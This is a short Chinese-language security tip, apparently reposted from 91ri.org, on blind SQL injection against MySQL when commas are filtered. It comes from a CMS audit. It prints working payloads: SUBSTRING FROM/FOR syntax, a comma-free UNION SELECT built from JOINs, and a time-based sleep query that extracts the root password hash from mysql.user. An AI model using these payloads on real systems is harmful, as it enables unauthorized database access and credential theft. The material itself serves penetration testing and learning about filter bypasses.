0X00 背景
审计cms发现一个这样的环境:
1
2
|
$l_id = get(‘arr’,‘l_id’);
$ids = explode(‘,’,$l_id);
|
拼接post中数组的请求,然后再用逗号分隔,最后带入了SQL查询。
于是就遇到了不能使用逗号的情况。
默认
display_error=off
无显错,只能盲注。
0X01解决方案:
主要解决substring的逗号问题。
参考文档:
http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring
1
2
3
4
5
6
7
|
select * from table1 where id =1 and exists (select * from table2 where ord(substring(username from 1 for 1)=97);
127‘ UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#
select case when substring((select password from mysql.user where user=’root‘) from 1 for 1)=’e‘ then sleep(5) else 0 end #
substring((select password from mysql.user where user=’root‘) from -1)=’e‘
|
以上例句请根据自己的情况而定。
91ri.org注:小编近期在实战渗透过程中也遇到了同样的场景,根据这篇文章,91RI团队的小伙伴写了一个注入脚本,成功获得了想要的信息。所以这里将这个tips给大家分享,希望大家能学到东西:)
【via@xiaoL】
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号